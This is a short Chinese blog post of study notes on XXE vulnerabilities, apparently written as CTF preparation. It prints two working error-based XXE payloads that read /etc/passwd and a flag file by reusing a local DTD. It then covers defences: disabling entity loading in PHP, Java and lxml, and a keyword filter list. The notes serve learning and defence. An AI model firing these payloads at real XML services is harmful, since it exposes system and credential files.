avatar

目录
XXE漏洞学习

最近莫名开始倒时差,每天下午5点多开始犯困,然后一睡就睡到了半夜起来
只会做题是不行的,要去学习原理,而不是纯粹做个脚本小子

基础知识参考文档

XML类型声明原文档
XXE漏洞学习
XXE漏洞利用技巧:从XML到远程代码执行
googleCTF2019关于xxe的题解
盲注技巧
PHP与JAVA之XXE漏洞详解与审计

几个需要注意的点

现在有回显的XXE 已经很少了,Blind-XXE重点在于如何将数据传输出来。

以往很多文章通过引入外部服务器或外部dtd文件,可以实现 OOB(out-of-band) 信息传递和通过构造dtd从错误信息获取数据。

记得改

http
1
Content-type: application/xml

利用协议

pro

payload:

如果目标主机的防火墙十分严格,不允许我们请求外网服务器dtd,那么我们可以通过引入本地dtd文件实现XXE。

ubuntu系统自带 /usr/share/yelp/dtd/docbookx.dtd 文件

xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;test&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [
<!ELEMENT message ANY>
<!ENTITY % para1 SYSTEM "file:///flag">
<!ENTITY % para '
<!ENTITY &#x25; para2 "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///&#x25;para1;&#x27;>">
&#x25;para2;
'>
%para;
]>

<message>&id;</message>

使用开发语言提供的禁用外部实体的方法

php
1
libxml_disable_entity_loader(true);
java
1
2
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
python
1
2
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

过滤关键词:

  • <!DOCTYPE
  • <!ENTITY
  • SYSTEM
  • PUBLIC
文章作者: 晓黑
文章链接: https://www.suk1.top/2020/03/18/XXElearn/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Manayakko - 微笑才是王道
打赏
  • 微信
    微信